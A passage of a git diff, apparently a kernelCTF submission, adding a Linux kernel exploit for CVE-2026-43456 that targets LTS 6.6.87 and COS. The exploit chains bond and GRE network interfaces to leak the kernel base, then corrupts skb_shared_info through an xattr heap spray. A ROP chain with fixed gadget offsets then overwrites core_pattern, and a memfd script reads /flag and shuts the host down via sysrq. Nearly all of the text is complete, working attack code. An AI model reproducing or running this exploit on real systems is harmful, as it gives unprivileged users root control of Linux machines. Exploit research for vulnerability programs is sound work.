strcpy(argv[0], WIN_PROCESS_NAME); + // @sleep(kernel_func="", desc="keep argv[0] visible to pidof") + sleep(99999); + } + + set_cpu(0); + unshare_setup(getuid(), getgid()); + setup_interface_up(if_nametoindex("lo")); + leak_kbase(); + + if (kbase == 0 || (kbase & (PAGE_SIZE - 1)) != 0) { + puts("Failed to leak kbase"); + return 1; + } + + rop_setup_core_pattern_overwrite(); + vuln_trigger_skb_shared_info_overwrite(); + return 0; +} diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exploit b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exploit new file mode 100755 index 000000000..0a693378f Binary files /dev/null and b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/cos-109-17800.372.99/exploit differ diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/Makefile b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/Makefile new file mode 100644 index 000000000..09ff56415 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/Makefile @@ -0,0 +1,2 @@ +exploit: exp.c + gcc exp.c -static -o exploit diff --git a/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exp.c b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exp.c new file mode 100644 index 000000000..2f78b438f --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-43456_lts_cos_mitigation/exploit/lts-6.6.87/exp.c @@ -0,0 +1,818 @@ +#define _GNU_SOURCE + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef BOND_MODE_ACTIVEBACKUP +#define BOND_MODE_ACTIVEBACKUP 1 +#endif + +#ifndef NLMSG_TAIL +#define NLMSG_TAIL(nmsg) \ + ((struct rtattr *)(((void *)(nmsg)) + NLMSG_ALIGN((nmsg)->nlmsg_len))) +#endif + +#define SYSCHK(x) \ + ({ \ + typeof(x) __res = (x); \ + if (__res == (typeof(x))-1) { \ + fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ + exit(1); \ + } \ + __res; \ + }) + +#define CORE_PATTERN_CMD_WORD0 UINT64_C(0x252f636f72702f7c) // "|/proc/%" +#define CORE_PATTERN_CMD_WORD1 UINT64_C(0x3636362f64662f50) // "P/fd/666" +#define IFI_CHANGE_ALL UINT32_MAX +#define WIN_PROCESS_NAME "win" +#define WIN_STDOUT_FD_STR "1" + +enum { + RTNETLINK_REQ_BUF_SIZE = 1024, + RTNETLINK_REPLY_BUF_SIZE = 4096, + SETLINK_REQ_ATTR_BUF_SIZE = 512, + PACKET_BUF_SIZE = 0x10000, + PAGE_SIZE = 0x1000, + USERNS_MAP_BUF_SIZE = 0x100, + XATTR_SPRAY_SIZE = 0x4000, + XATTR_SPRAY_QWORDS = XATTR_SPRAY_SIZE / sizeof(uint64_t), + XATTR_SPRAY_PATH_SIZE = 32, + XATTR_SPRAY_FILE_MODE = 0777, + PROC_DIR_ENTRY_INLINE_NAME_SIZE = 8, + PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE = PROC_DIR_ENTRY_INLINE_NAME_SIZE + 1, + U64_SIZE = sizeof(uint64_t), + LEAK_PACKET_MIN_SIZE = 0x28, + IPV4_OCTET_RANGE = 256, + GRE_ENCAP_BOOTSTRAP_IFS = 8, + WIN_STDOUT_FD = 666, +}; + +enum { + // Accepted by rtnetlink; the exact type is unused. + IFINFO_DUMMY_TYPE = 0xde, + // Chained GRE devices make dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE. + NUM_GRE_IFS = 329, + BOND_ARP_INTERVAL_MS = 1000, + + // Random fixed ifindexes + BOND_IFINDEX_FOR_KASLR_LEAK = 0xdead, + BOND_IFINDEX_FOR_PIVOT_LEAK1 = 0xbeef, + BOND_IFINDEX_FOR_PIVOT_LEAK2 = 0xcafe, + BOND_IFINDEX_FOR_TRIGGER = 0xbabe, + GRE_INDEX_BASE = 0x41424344, + + PACKET_NO_PROTOCOL = 0, +}; + +enum { + BOND_RCV_VALIDATE_LEAK_OFFS = 0x08, + PROC_DIR_ENTRY_LEAK_OFFS = 0x20, + SKB_SHARED_INFO_IDX = 0x7d8, + SKB_SHINFO_DESTRUCTOR_ARG_QWORD = 0x5, + SKB_SHINFO_PIVOT_POP_RDI_QWORD = 0x7, + SKB_SHINFO_PIVOT_PUSH_RDI_POP_RSP = 0x8, + SKB_SHINFO_ROP_CHAIN_QWORD = 0x9, + PROC_DIR_ENTRY_OFFS_INLINE_NAME = 0xac, +}; + +enum { + BOND_RCV_VALIDATE_OFFS = 0xcdb0c0, + CORE_PATTERN_OFFS = 0x2db6840, + + // mov rax, [r12+0x40]; lea rdi, [r12+0x38]; mov rax, [rax+8]; call rax; + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS = 0x00961bd7, + // push rdi; pop rsp; ret; + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS = 0x004d24a7, + // pop rdi; ret; + GADGET_POP_RDI_RET_OFFS = 0x0000934c, + // pop rcx; pop rax; ret; + GADGET_POP_RCX_POP_RAX_RET_OFFS = 0x0146d32d, + // mov qword ptr [rax], rcx; ret; + GADGET_MOV_PTR_RAX_RCX_RET_OFFS = 0x0081f53b, + // swapgs; iretq; + GADGET_SWAPGS_IRETQ_OFFS = 0x16011a6, + IRETQ_DUMMY_VALUE = 0xdead, +}; + +static const char *get_rtnetlink_operation(uint16_t type) { + switch (type) { + case RTM_NEWLINK: + return "create link"; + case RTM_DELLINK: + return "delete link"; + case RTM_GETLINK: + return "get link info"; + case RTM_NEWADDR: + return "add address"; + case RTM_DELADDR: + return "delete address"; + case RTM_GETADDR: + return "get address"; + case RTM_NEWROUTE: + return "add route"; + case RTM_DELROUTE: + return "delete route"; + case RTM_GETROUTE: + return "get route"; + default: + return "unknown operation"; + } +} + +static void explain_rtnetlink_error(struct nlmsghdr *req, int error) { + const char *operation = get_rtnetlink_operation(req->nlmsg_type); + + fprintf(stderr, "RTNetlink operation '%s' failed: ", operation); + + switch (-error) { + case EACCES: + fprintf(stderr, "Permission denied. This operation requires CAP_NET_ADMIN " + "capability.\n"); + break; + + case EADDRINUSE: + fprintf(stderr, "Address/resource already in use\n"); + break; + + case EADDRNOTAVAIL: + fprintf(stderr, "Address not available on this device\n"); + break; + + case ENODEV: + fprintf(stderr, "Network interface does not exist\n"); + break; + + case EINVAL: + fprintf(stderr, "Invalid parameter/configuration:\n"); + // Additional parsing of req->nlmsg_type specific structures + if (req->nlmsg_type == RTM_NEWADDR) { + fprintf(stderr, "- Check address family and prefix length\n"); + fprintf(stderr, "- Verify interface exists and is up\n"); + } else if (req->nlmsg_type == RTM_NEWROUTE) { + fprintf(stderr, "- Check route parameters (gateway, metrics)\n"); + fprintf(stderr, "- Verify routing table exists\n"); + } + break; + + case EMSGSIZE: + fprintf(stderr, "Message too large or incorrectly formatted\n"); + break; + + case ENOBUFS: + fprintf(stderr, "System resource shortage, try again later\n"); + break; + + case ESRCH: + fprintf(stderr, "Resource (route/rule/address) not found\n"); + break; + + case EEXIST: + fprintf(stderr, "Resource already exists\n"); + break; + + default: + fprintf(stderr, "%s\n", strerror(-error)); + } +} +static int send_and_recv_rtnetlink(int sock, struct nlmsghdr *nlh) { + static long nlmsg_seq_idx = 0; + + struct sockaddr_nl dest_addr = { + .nl_family = AF_NETLINK, .nl_pid = 0, .nl_groups = 0}; + + // Set sequence number + nlh->nlmsg_seq = ++nlmsg_seq_idx; + nlh->nlmsg_flags |= NLM_F_ACK; + + struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len}; + + struct msghdr msg = {.msg_name = &dest_addr, + .msg_namelen = sizeof(dest_addr), + .msg_iov = &iov, + .msg_iovlen = 1}; + + if (sendmsg(sock, &msg, 0) < 0) { + fprintf(stderr, "sendmsg: %s\n", strerror(errno)); + return 0; + } + + char reply_buf[RTNETLINK_REPLY_BUF_SIZE]; + struct nlmsghdr *nh; + + while (1) { + iov.iov_base = reply_buf; + iov.iov_len = sizeof(reply_buf); + + int len = recvmsg(sock, &msg, 0); + if (len < 0) { + fprintf(stderr, "recvmsg: %s\n", strerror(errno)); + return 0; + } + + for (nh = (struct nlmsghdr *)reply_buf; NLMSG_OK(nh, len); + nh = NLMSG_NEXT(nh, len)) { + if (nh->nlmsg_seq != nlmsg_seq_idx) + continue; // Not our message + + if (nh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *err = NLMSG_DATA(nh); + + if (err->error == 0) { // Success + return 1; + } + + explain_rtnetlink_error(nlh, err->error); + return 0; + } + + if (nh->nlmsg_type == NLMSG_DONE) + return 1; + } + } +} + +static void add_rtattr(struct nlmsghdr *n, size_t maxlen, int type, + const void *data, size_t alen) { + size_t len = RTA_LENGTH(alen); + struct rtattr *rta; + + if (NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len) > maxlen) { + fprintf(stderr, "rtattr too long\n"); + return; + } + + rta = NLMSG_TAIL(n); + rta->rta_type = type; + rta->rta_len = len; + if (alen) + memcpy(RTA_DATA(rta), data, alen); + n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_ALIGN(len); +} + +static int setup_ip6gre_slave_interface(int rtnetlink_fd, int bond_ifindex, + const char *local_addr, + const char *remote_addr, + const char *ip6gre_name) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = 0, + .i.ifi_flags = IFF_SLAVE, + }; + + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "ip6gre", + strlen("ip6gre") + 1); + + struct rtattr *ip6greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in6_addr local_ipv6; + if (inet_pton(AF_INET6, local_addr, &local_ipv6) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv6, + sizeof(local_ipv6)); + + struct in6_addr remote_ipv6; + if (inet_pton(AF_INET6, remote_addr, &remote_ipv6) < 1) { + puts("inet_pton for remote_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_REMOTE, &remote_ipv6, + sizeof(remote_ipv6)); + + // Update lengths + ip6greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)ip6greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, ip6gre_name, + strlen(ip6gre_name) + 1); + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} +static int setup_bond_interface(int rtnetlink_fd, int bond_ifindex, const char *bond_name) { + /* + * Create bond interface + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req1 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = IFINFO_DUMMY_TYPE, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = bond_ifindex, + .i.ifi_flags = IFF_UP, + }; + + // Create nested attributes for bond interface + struct rtattr *linkinfo1 = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_LINKINFO, NULL, 0); + + // Specify bond type + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_KIND, "bond", strlen("bond") + 1); + + // Add bond-specific options + struct rtattr *bondinfo = NLMSG_TAIL(&req1.n); + add_rtattr(&req1.n, sizeof(req1), IFLA_INFO_DATA, NULL, 0); + + // Active-backup mode is enough to route packets through the slave path. + char mode = BOND_MODE_ACTIVEBACKUP; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_MODE, &mode, sizeof(mode)); + + uint32_t arp_interval = BOND_ARP_INTERVAL_MS; + add_rtattr(&req1.n, sizeof(req1), IFLA_BOND_ARP_INTERVAL, &arp_interval, + sizeof(arp_interval)); + + // Update lengths + bondinfo->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)bondinfo; + linkinfo1->rta_len = (char *)NLMSG_TAIL(&req1.n) - (char *)linkinfo1; + + // Set interface name + add_rtattr(&req1.n, sizeof(req1), IFLA_IFNAME, bond_name, + strlen(bond_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req1.n); +} + +static int setup_bond_af_packet_sock(int proto_type, int ifindex_to_bind) { + int packet_fd = SYSCHK(socket(AF_PACKET, SOCK_DGRAM, proto_type)); + + struct sockaddr_ll saddr2 = {0}; + saddr2.sll_family = AF_PACKET; + saddr2.sll_protocol = proto_type; + saddr2.sll_ifindex = ifindex_to_bind; + SYSCHK(bind(packet_fd, (struct sockaddr *)&saddr2, sizeof(saddr2))); + + return packet_fd; +} + +static int setup_interface_up(int if_index) { + struct { + struct nlmsghdr nh; + struct ifinfomsg ifi; + char attrbuf[SETLINK_REQ_ATTR_BUF_SIZE]; + } req = {0}; + + // Create netlink socket + int sock = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // Setup netlink header + req.nh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)); + req.nh.nlmsg_flags = NLM_F_REQUEST; + req.nh.nlmsg_type = RTM_SETLINK; + + // Setup interface info + req.ifi.ifi_family = AF_UNSPEC; + req.ifi.ifi_index = if_index; + + req.ifi.ifi_flags = IFF_UP; + req.ifi.ifi_change = IFF_UP; + + int ok = send_and_recv_rtnetlink(sock, &req.nh); + close(sock); + return ok; +} + +static int setup_gre_interface(int rtnetlink_fd, int gre_ifindex, + const char *gre_name, const char *local_addr, + uint16_t encap_type) { + /* + * Create a GRE interface. It is linked into the chain later with + * setup_gre_link(). + */ + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_UP, // IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + struct in_addr local_ipv4; + if (inet_pton(AF_INET, local_addr, &local_ipv4) < 1) { + puts("inet_pton for local_addr failed"); + return 0; + } + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LOCAL, &local_ipv4, + sizeof(local_ipv4)); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_ENCAP_TYPE, &encap_type, + sizeof(encap_type)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set interface name + add_rtattr(&req2.n, sizeof(req2), IFLA_IFNAME, gre_name, + strlen(gre_name) + 1); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_link(int rtnetlink_fd, int gre_ifindex, int link_ifindex, + int should_down) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = should_down ? 0 : IFF_UP, + .i.ifi_change = IFI_CHANGE_ALL, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static int setup_gre_slave(int rtnetlink_fd, int bond_ifindex, int gre_ifindex, + int link_ifindex) { + struct { + struct nlmsghdr n; + struct ifinfomsg i; + char attr_buf[RTNETLINK_REQ_BUF_SIZE]; + } req2 = { + .n.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg)), + .n.nlmsg_type = RTM_NEWLINK, + .n.nlmsg_flags = NLM_F_REQUEST, + .i.ifi_family = AF_UNSPEC, + .i.ifi_type = IFINFO_DUMMY_TYPE, + .i.ifi_index = gre_ifindex, + .i.ifi_flags = IFF_SLAVE, + }; + + // Create nested attributes for gre interface + struct rtattr *linkinfo2 = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_LINKINFO, NULL, 0); + + // Specify gre type + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_KIND, "gre", strlen("gre") + 1); + + // Add gre-specific options + struct rtattr *greinfo = NLMSG_TAIL(&req2.n); + add_rtattr(&req2.n, sizeof(req2), IFLA_INFO_DATA, NULL, 0); + + add_rtattr(&req2.n, sizeof(req2), IFLA_GRE_LINK, &link_ifindex, + sizeof(link_ifindex)); + + // Update lengths + greinfo->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)greinfo; + linkinfo2->rta_len = (char *)NLMSG_TAIL(&req2.n) - (char *)linkinfo2; + + // Set master + add_rtattr(&req2.n, sizeof(req2), IFLA_MASTER, &bond_ifindex, + sizeof(bond_ifindex)); + + return send_and_recv_rtnetlink(rtnetlink_fd, &req2.n); +} + +static unsigned char packet_buf[PACKET_BUF_SIZE]; +static uint64_t kbase = 0; +static uint64_t xattr_spray_payload[XATTR_SPRAY_QWORDS]; +static unsigned long user_cs, user_ss, user_sp, user_rflags; + +static void set_cpu(int core_id) { + cpu_set_t cpuset; + CPU_ZERO(&cpuset); + CPU_SET(core_id, &cpuset); + SYSCHK(sched_setaffinity(getpid(), sizeof(cpu_set_t), &cpuset)); +} + +static void save_state(void) { + asm("movq %%cs, %0\n" + "movq %%ss, %1\n" + "movq %%rsp, %2\n" + "pushfq\n" + "popq %3\n" + : "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags) + : + : "memory"); +} + +#define CMD \ + "#!/bin/bash\nPID=`pidof " WIN_PROCESS_NAME "`\n" \ + "cat /flag>/proc/$PID/fd/" WIN_STDOUT_FD_STR "\n" \ + "echo o>/proc/sysrq-trigger" +static void post_exploit_trigger_core_pattern(void) { + if (!fork()) { + puts("[*] win!!"); + int memfd = memfd_create("", 0); + SYSCHK(write(memfd, CMD, sizeof(CMD))); + dup2(memfd, WIN_STDOUT_FD); + close(memfd); + *(size_t *)0 = 0; + } + // @sleep(kernel_func="", desc="keep the post-exploit process alive") + sleep(9999); +} + +static void unshare_setup(uid_t uid, gid_t gid) { + int map_fd; + char map_buf[USERNS_MAP_BUF_SIZE]; + SYSCHK(unshare(CLONE_NEWNET | CLONE_NEWUSER)); + map_fd = SYSCHK(open("/proc/self/setgroups", O_WRONLY)); + SYSCHK(write(map_fd, "deny", strlen("deny"))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/uid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)uid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + map_fd = SYSCHK(open("/proc/self/gid_map", O_WRONLY)); + snprintf(map_buf, sizeof(map_buf), "0 %u 1", (unsigned int)gid); + SYSCHK(write(map_fd, map_buf, strlen(map_buf))); + close(map_fd); + return; +} + +static uint64_t leak_proc_dir_entry_addr(uint64_t content, int if_index) { + uint64_t ret = 0; + static int gre_n = 1; + char gre_name[IFNAMSIZ], remote_addr[INET6_ADDRSTRLEN]; + char name[PROC_DIR_ENTRY_INLINE_NAME_BUF_SIZE] = {0}; + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + memcpy(name, &content, PROC_DIR_ENTRY_INLINE_NAME_SIZE); + if (!setup_bond_interface(rtnetlink_fd, if_index, name)) { + puts("Failed to create bond interface"); + return 1; + } + + gre_n++; + snprintf(gre_name, sizeof(gre_name), "leak%d", gre_n); + snprintf(remote_addr, sizeof(remote_addr), "2001:db8::%d", gre_n); + if (!setup_ip6gre_slave_interface(rtnetlink_fd, if_index, remote_addr, "::", gre_name)) { + puts("Failed to create ip6gre interface"); + return 1; + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), if_index); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + return 1; + } + for (int i = 0; i < U64_SIZE; i++) { + ret += ((uint64_t)packet_buf[PROC_DIR_ENTRY_LEAK_OFFS + i]) << (i * 8); + } + return ret; +} + +static void leak_kbase(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, "leak")) { + puts("Failed to create bond interface"); + exit(1); + } + if (!setup_ip6gre_slave_interface(rtnetlink_fd, BOND_IFINDEX_FOR_KASLR_LEAK, + "2001:db8::1", "::", "leak_ip6gre")) { + puts("Failed to create ip6gre interface"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(htons(ETH_P_IPV6), + BOND_IFINDEX_FOR_KASLR_LEAK); + int recv_fd = SYSCHK(socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL))); + + SYSCHK(send(packet_fd, "X", 1, 0)); + + int res = SYSCHK(recv(recv_fd, packet_buf, sizeof(packet_buf), 0)); + if (res < LEAK_PACKET_MIN_SIZE) { + puts("recv failed. Maybe this kernel is not vulnerable"); + exit(1); + } + + uint64_t bond_rcv_validate_addr = 0; + for (int i = 0; i < U64_SIZE; i++) { + bond_rcv_validate_addr += + ((uint64_t)packet_buf[BOND_RCV_VALIDATE_LEAK_OFFS + i]) << (i * 8); + } + + kbase = bond_rcv_validate_addr - BOND_RCV_VALIDATE_OFFS; + close(packet_fd); + close(recv_fd); + close(rtnetlink_fd); + + printf("[*] kbase: 0x%lx\n", kbase); +} + +static void spray_xattr_order_2_pages(uint64_t *content) { + static int n = 0; + uint64_t *spray_data; + char path[XATTR_SPRAY_PATH_SIZE]; + snprintf(path, sizeof(path), "/tmp/xattr_spray_%d", n++); + int fd = SYSCHK(open(path, O_RDWR | O_CREAT, XATTR_SPRAY_FILE_MODE)); + spray_data = malloc(XATTR_SPRAY_SIZE); + if (!spray_data) { + perror("malloc"); + exit(1); + } + memcpy(spray_data, content, XATTR_SPRAY_SIZE); + fsetxattr(fd, "x", spray_data, XATTR_SPRAY_SIZE, 0); +}; + +static void rop_setup_core_pattern_overwrite(void) { + uint64_t first_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT1_OFFS; + uint64_t second_pivot_gadget = kbase + GADGET_SKB_DESTRUCTOR_PIVOT2_OFFS; + uint64_t pop_rdi_ret = kbase + GADGET_POP_RDI_RET_OFFS; + uint64_t pop_rcx_pop_rax_ret = kbase + GADGET_POP_RCX_POP_RAX_RET_OFFS; + uint64_t mov_ptr_rax_rcx_ret = kbase + GADGET_MOV_PTR_RAX_RCX_RET_OFFS; + uint64_t swapgs_iretq = kbase + GADGET_SWAPGS_IRETQ_OFFS; + uint64_t core_pattern_addr = kbase + CORE_PATTERN_OFFS; + + // If the name contains invalid char (see dev_valid_name), creation fails. + uint64_t addr1 = leak_proc_dir_entry_addr(first_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK1); + uint64_t addr2 = leak_proc_dir_entry_addr(second_pivot_gadget, + BOND_IFINDEX_FOR_PIVOT_LEAK2); + if (addr1 == 1 || addr2 == 1) { + puts("leak failed"); + exit(1); + } + printf("[*] proc entry1: 0x%lx\n", addr1); + printf("[*] proc entry2: 0x%lx\n", addr2); + addr1 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + addr2 += PROC_DIR_ENTRY_OFFS_INLINE_NAME; + + save_state(); + uint64_t *fake_skb_shinfo = &xattr_spray_payload[SKB_SHARED_INFO_IDX]; + fake_skb_shinfo[SKB_SHINFO_DESTRUCTOR_ARG_QWORD] = addr1; + fake_skb_shinfo[SKB_SHINFO_PIVOT_POP_RDI_QWORD] = pop_rdi_ret; + fake_skb_shinfo[SKB_SHINFO_PIVOT_PUSH_RDI_POP_RSP] = addr2 - U64_SIZE; + + // Overwrite /proc/sys/kernel/core_pattern with "|/proc/%P/fd/666". + uint64_t *rop_chain = &fake_skb_shinfo[SKB_SHINFO_ROP_CHAIN_QWORD]; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD0; + *rop_chain++ = core_pattern_addr; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = pop_rcx_pop_rax_ret; + *rop_chain++ = CORE_PATTERN_CMD_WORD1; + *rop_chain++ = core_pattern_addr + U64_SIZE; + *rop_chain++ = mov_ptr_rax_rcx_ret; + *rop_chain++ = swapgs_iretq; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = IRETQ_DUMMY_VALUE; + *rop_chain++ = (uint64_t)&post_exploit_trigger_core_pattern; + *rop_chain++ = user_cs; + *rop_chain++ = user_rflags; + *rop_chain++ = user_sp + U64_SIZE; + *rop_chain++ = user_ss; + puts("[*] done rop_setup_core_pattern_overwrite"); +} + +static void vuln_trigger_skb_shared_info_overwrite(void) { + int rtnetlink_fd = SYSCHK(socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE)); + + // @step(name="Triggering the skb_shared_info overwrite") + // The GRE chain makes dev->needed_head_room exceed KMALLOC_MAX_CACHE_SIZE, + // then the zero-length packet corrupts skb_shared_info in the order-2 skb. + if (!setup_bond_interface(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, "mybond")) { + puts("Failed to create bond interface"); + exit(1); + } + + for (int i = 0; i < NUM_GRE_IFS; i++) { + char laddr[INET_ADDRSTRLEN] = ""; + char ifname[IFNAMSIZ] = ""; + snprintf(laddr, sizeof(laddr), "21.0.%d.%d", i / IPV4_OCTET_RANGE, i % IPV4_OCTET_RANGE); + snprintf(ifname, sizeof(ifname), "if%d-%d", i, i); + + int current_gre_index = GRE_INDEX_BASE + i; + if (!setup_gre_interface(rtnetlink_fd, current_gre_index , ifname, laddr, + i < GRE_ENCAP_BOOTSTRAP_IFS ? TUNNEL_ENCAP_FOU : TUNNEL_ENCAP_NONE)) { + puts("Failed to create gre interface"); + exit(1); + } + + if (i > 0) { + int prev_gre_index = GRE_INDEX_BASE + i - 1; + if (!setup_gre_link(rtnetlink_fd, current_gre_index, prev_gre_index, 0)) { + puts("Failed to change gre interface"); + exit(1); + } + } + } + + if (!setup_gre_slave(rtnetlink_fd, BOND_IFINDEX_FOR_TRIGGER, + GRE_INDEX_BASE + NUM_GRE_IFS - 1, + GRE_INDEX_BASE + NUM_GRE_IFS - 2)) { + puts("Failed to make slave"); + exit(1); + } + + int packet_fd = setup_bond_af_packet_sock(PACKET_NO_PROTOCOL, BOND_IFINDEX_FOR_TRIGGER); + + for (;;) { + send(packet_fd, NULL, 0, 0); + spray_xattr_order_2_pages(xattr_spray_payload); + } +} + +int main(int argc, char **argv) { + (void)argc; + + if (!fork()) { + set_cpu(1); + strcpy(argv[0], 